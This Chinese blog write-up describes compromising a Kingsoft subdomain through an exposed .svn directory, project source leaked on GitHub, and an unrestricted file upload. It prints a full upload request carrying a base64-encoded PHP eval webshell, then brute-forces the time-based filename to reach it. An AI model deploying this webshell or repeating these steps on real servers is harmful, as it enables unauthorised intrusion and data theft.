记一次金山信息泄露+github源码泄露getshell

     分类: 网络安全 发布时间: 2021-07-13 11:55 2,540人浏览

挺有趣的一次挖洞过程,涉及到的挖洞水平不难,但是还是挺巧妙的,还是和大伙儿分享一下


1.SVN泄露

首先自然是子域名收集,发现存在一个很长的二级域名:
*打码*.kingsoft.com
因为是带着xray扫的,所以直接发现.svn/entries可访问,存在SVN信息泄露
进一步利用,主要是访问https://*打码*.kingsoft.com/.svn/wc.db 可获取svn数据库信息
db文件可通过数据库读取软件打开,可以清晰看到网站文件结构:
记一次金山信息泄露+github源码泄露getshell插图

发现存在服务器日志页面https://*打码*.kingsoft.com/api/serverlog/index.php?p=7&t=2021-02-16
点击进入可看见服务器所有日志
以及各类服务器日志信息
记一次金山信息泄露+github源码泄露getshell插图1

2.github源码泄露

在SVN数据翻找的过程中发现一个文件:showtrace.lua
发现内网svn地址:svn.funova.com
记一次金山信息泄露+github源码泄露getshell插图2
本着试试看的原则,在github中查了下有没有这个网站相关的信息,没想到竟看到一个熟悉的页面
记一次金山信息泄露+github源码泄露getshell插图3
经过与SVN泄露的文件对比验证,确定这就是该网站的项目源码!

3.文件上传getshell

赶快看看项目中的源码内容,看看有无利用点,正好发现存在个upload.php
记一次金山信息泄露+github源码泄露getshell插图4
该PHP文件会在save目录下创建一个通过devid与文件名首字符组合并字符串截断的目录,将文件名与时间拼接形成新的文件,调试确认会产生如下文件:
记一次金山信息泄露+github源码泄露getshell插图5
其中前面为日期,后面为小时-分钟-秒数

开始构造上传payload,根据上传代码分析,文件内容需要经过一层base64加密,把shell提前加密一下即可:

POST /api/upload.php HTTP/1.1
Host: \*打码\*.kingsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 873
Origin: https://\*打码\*.kingsoft.com
Connection: close
Referer: https://\*打码\*.kingsoft.com/
Cookie: KLBRSID=2387b10c7cb4bd825e562a8486ca1aab|1613457646|1613457626; PHPSESSID=84vuglos79g86dqip7o5l3un50

op=0&devid=1&fname=testhtml.php&data=PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3NoZW50b3V0ZXN0J10pKQp7CiAgICAka2V5PXN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSkpLDE2KTsKICAgICRfU0VTU0lPTlsnayddPSRrZXk7CiAgICBwcmludCAka2V5Owp9CmVsc2UKewogICAgJGtleT0kX1NFU1NJT05bJ2snXTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwKSB7ZXZhbCgkcC4iIik7fX0KCUBuZXcgQygkcGFyYW1zKTsKfQo/Pg==

上传返回200ok,但没有返回文件名
记一次金山信息泄露+github源码泄露getshell插图6
问题不大,因为我们已知文件名会根据时间命名,所以通过对文件名的时间部分进行爆破,即可得出文件名:
记一次金山信息泄露+github源码泄露getshell插图7
webshell连接成功:
记一次金山信息泄露+github源码泄露getshell插图8


上一篇文章:

2 条评论
  • whyubullyme

    2021年8月3日 下午11:39

    师傅这是挖了金山的洞吗

    1. gt4404gb

      2021年8月9日 下午5:08

      一个冷门的旁站

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注